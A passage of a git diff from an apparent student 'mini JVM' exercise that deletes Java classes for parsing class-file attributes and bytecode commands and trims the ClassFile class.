-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index b1685c4314..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,93 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.attr;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coding.mini_jvm.src.com.coderising.jvm.cmd.CommandParser;
-import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
-
-public class CodeAttr extends AttributeInfo {
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	private ByteCodeCommand[] cmds;
-
-	public ByteCodeCommand[] getCmds() {
-		return cmds;
-	}
-
-	private LineNumberTable    lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable      stackMapTable;
-
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code ,ByteCodeCommand[] cmds) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-
-		//回退2个字节
-		iter.back(ByteCodeIterator.U2);
-		int attrNameIndex = iter.readTwoBytesToInt();
-		int attrLen = iter.readFourBytesToInt();
-		int maxStack = iter.readTwoBytesToInt();
-		int maxLocal = iter.readTwoBytesToInt();
-		int codeLen = iter.readFourBytesToInt();
-		String code = iter.readBytesToHexString(codeLen);
-		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocal, codeLen, code, cmds);
-		//异常表长度
-		int exceptionTableLen = iter.readTwoBytesToInt();
-		if (exceptionTableLen > 0) {
-			throw new RuntimeException("not impl yet");
-		}
-
-		//子属性个数
-		int attrCount = iter.readTwoBytesToInt();
-		for (int i = 0; i < attrCount; i++) {
-			attrNameIndex = iter.readTwoBytesToInt();
-			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
-			if ("LineNumberTable".equals(attrName)) {
-				LineNumberTable lineNumberTable = LineNumberTable.parse(iter);
-				codeAttr.setLineNumberTable(lineNumberTable);
-			} else if ("LocalVariableTable".equals(attrName)) {
-				LocalVariableTable localVariableTable = LocalVariableTable.parse(iter);
-				codeAttr.setLocalVariableTable(localVariableTable);
-			} else if ("StackMapTable".equals(attrName)) {
-				StackMapTable stackMapTable = StackMapTable.parse(iter);
-				codeAttr.setStackMapTable(stackMapTable);
-			} else {
-				throw new RuntimeException("not impl yet");
-			}
-		}
-
-		return codeAttr;
-	}
-
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-	}
-
-	
-	
-	
-	
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index 93e7d9b7a8..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.attr;
-
-import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
-
-import java.util.ArrayList;
-import java.util.List;
-
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		iter.back(ByteCodeIterator.U2);
-		int attrNameIndex = iter.readTwoBytesToInt();
-		int attrLen = iter.readFourBytesToInt();
-		LineNumberTable lineNumberTable = new LineNumberTable(attrNameIndex, attrLen);
-		int itemCount = iter.readTwoBytesToInt();
-		for (int i = 0; i < itemCount; i++) {
-			LineNumberItem lineNumberItem  = new LineNumberItem();
-			lineNumberItem.setStartPC(iter.readTwoBytesToInt());
-			lineNumberItem.setLineNum(iter.readTwoBytesToInt());
-			lineNumberTable.addLineNumberItem(lineNumberItem);
-		}
-		return lineNumberTable;
-	}
-	
-	
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 9e9e1d9e21..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index 2900349fa5..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.attr;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		iter.back(ByteCodeIterator.U2);
-		int attrNameIdex = iter.readTwoBytesToInt();
-		int attrLen = iter.readFourBytesToInt();
-		LocalVariableTable localVariableTable = new LocalVariableTable(attrNameIdex, attrLen);
-		int varCount = iter.readTwoBytesToInt();
-		for (int i = 0; i < varCount; i++) {
-			LocalVariableItem item = new LocalVariableItem();
-			item.setStartPC(iter.readTwoBytesToInt());
-			item.setLength(iter.readTwoBytesToInt());
-			item.setNameIndex(iter.readTwoBytesToInt());
-			item.setDescIndex(iter.readTwoBytesToInt());
-			item.setIndex(iter.readTwoBytesToInt());
-			localVariableTable.addLocalVariableItem(item);
-		}
-		return localVariableTable;
-	}
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-	
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index a6e55353f1..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.attr;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		iter.back(ByteCodeIterator.U2);
-		int index = iter.readTwoBytesToInt();
-		int len = iter.readFourBytesToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.readBytesToString(len);
-		t.setOriginalCode(code);
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/clz/ClassFile.java
index 6c88b9fff5..0d2525e416 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -3,51 +3,28 @@
 
 import com.coding.mini_jvm.src.com.coderising.jvm.constant.ClassInfo;
 import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-import com.coding.mini_jvm.src.com.coderising.jvm.field.Field;
-import com.coding.mini_jvm.src.com.coderising.jvm.method.Method;
-
-import java.util.ArrayList;
-import java.util.List;
 
 public class ClassFile {
-
-	private static final String MAIN_METHOD_NAME = "main";
+	
 	private int minorVersion;
 	private int majorVersion;
-
+	
 	private AccessFlag   accessFlag;
 	private ClassIndex   clzIndex;
 	private ConstantPool pool;
-	private List<Field>  fields  = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-
+	
+	
 	public ClassIndex getClzIndex() {
 		return clzIndex;
 	}
-
 	public AccessFlag getAccessFlag() {
 		return accessFlag;
 	}
-
 	public void setAccessFlag(AccessFlag accessFlag) {
 		this.accessFlag = accessFlag;
 	}
-
-	public void addField(Field f) {
-		this.fields.add(f);
-	}
-
-	public List<Field> getFields() {
-		return this.fields;
-	}
-
-	public void addMethod(Method m) {
-		this.methods.add(m);
-	}
-
-	public List<Method> getMethods() {
-		return methods;
-	}
+	
+	
 	
 	public ConstantPool getConstantPool() {		
 		return pool;
@@ -72,41 +49,28 @@ public void setClassIndex(ClassIndex clzIndex) {
 		this.clzIndex = clzIndex;		
 	}
 	
+	
+	
+	
 	public void print(){
+		
 		if(this.accessFlag.isPublicClass()){
 			System.out.println("Access flag : public  ");
 		}
 		System.out.println("Class Name:"+ getClassName());
+		
 		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
 	}
 	
-	public String getClassName(){
+	private String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	public String getSuperClassName(){
+	private String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
-
-	public Method getMethod(String methodName, String paramAndReturnType){
-		for (Method method : methods) {
-			String name = method.getClzFile().getConstantPool().getUTF8String(method.getNameIndex());
-			if (methodName.equals(name)) {
-				return method;
-			}
-		}
-
-		return null;
-	}
-	public Method getMainMethod(){
-		for (Method method : methods) {
-			String name = method.getClzFile().getConstantPool().getUTF8String(method.getNameIndex());
-			if (MAIN_METHOD_NAME.equals(name)) {
-				return method;
-			}
-		}
-		return null;
-	}
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index eb7dafa79d..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index b44d66c880..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,127 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantInfo;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-
-import java.util.HashMap;
-import java.util.Map;
-
-public abstract class ByteCodeCommand {
-
-	String    opCode;
-	ClassFile clzFile;
-	private int offset;
-
-	private static Map<String, String> codeMap = new HashMap<String, String>();
-
-	static {
-		codeMap.put("01", "aconst_null");
-
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/CommandParser.java
deleted file mode 100644
index dd01d38872..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,150 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-
-import java.util.ArrayList;
-import java.util.List;
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-		CommandIterator cmdIter = new CommandIterator(codes);
-		List<ByteCodeCommand> cmds = new ArrayList<>();
-		//2ab7000c2a2bb5000f2a1cb50011b1
-		while (cmdIter.hasNext()) {
-			String operCode = cmdIter.next2CharAsString().toUpperCase();
-			switch (operCode) {
-				case bipush:
-					BiPushCmd cmd = new BiPushCmd(clzFile, operCode);
-					cmd.setOperand(cmdIter.next2CharAsInt());
-					cmds.add(cmd);
-					break;
-				case getfield:
-					GetFieldCmd getFieldCmd = new GetFieldCmd(clzFile, operCode);
-					getFieldCmd.setOprand1(cmdIter.next2CharAsInt());
-					getFieldCmd.setOprand2(cmdIter.next2CharAsInt());
-					cmds.add(getFieldCmd);
-					break;
-				case getstatic:
-					GetStaticFieldCmd getStaticFieldCmd = new GetStaticFieldCmd(clzFile, operCode);
-					getStaticFieldCmd.setOprand1(cmdIter.next2CharAsInt());
-					getStaticFieldCmd.setOprand2(cmdIter.next2CharAsInt());
-					cmds.add(getStaticFieldCmd);
-					break;
-				case invokespecial:
-					InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, operCode);
-					invokeSpecialCmd.setOprand1(cmdIter.next2CharAsInt());
-					invokeSpecialCmd.setOprand2(cmdIter.next2CharAsInt());
-					cmds.add(invokeSpecialCmd);
-					break;
-				case invokevirtual:
-					InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, operCode);
-					invokeVirtualCmd.setOprand1(cmdIter.next2CharAsInt());
-					invokeVirtualCmd.setOprand2(cmdIter.next2CharAsInt());
-					cmds.add(invokeVirtualCmd);
-					break;
-				case ldc:
-					LdcCmd ldcCmd = new LdcCmd(clzFile, operCode);
-					ldcCmd.setOperand(cmdIter.next2CharAsInt());
-					cmds.add(ldcCmd);
-					break;
-				case new_object:
-					NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile, operCode);
-					newObjectCmd.setOprand1(cmdIter.next2CharAsInt());
-					newObjectCmd.setOprand2(cmdIter.next2CharAsInt());
-					cmds.add(newObjectCmd);
-					break;
-				case putfield:
-					PutFieldCmd putFieldCmd = new PutFieldCmd(clzFile, operCode);
-					putFieldCmd.setOprand1(cmdIter.next2CharAsInt());
-					putFieldCmd.setOprand2(cmdIter.next2CharAsInt());
-					cmds.add(putFieldCmd);
-					break;
-				case astore_1:
-				case aload_0:
-				case aload_1:
-				case iload_1:
-				case iload_2:
-				case istore_1:
-				case voidreturn:
-				case dup:
-					NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, operCode);
-					cmds.add(noOperandCmd);
-					break;
-				default:
-					throw new RuntimeException("this oper [ " +operCode+ " ]not impl yet");
-			}
-		}
-		calcuateOffset(cmds);
-		return cmds.toArray(new ByteCodeCommand[cmds.size()]);
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 5801068cb0..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index e577d1b56c..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index 2900bb2c60..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index ff7f0fdf14..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
deleted file mode 100644
index abaeae3a9e..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantInfo;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index db90b82a35..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 3cd045f6d3..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 696764c3e7..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
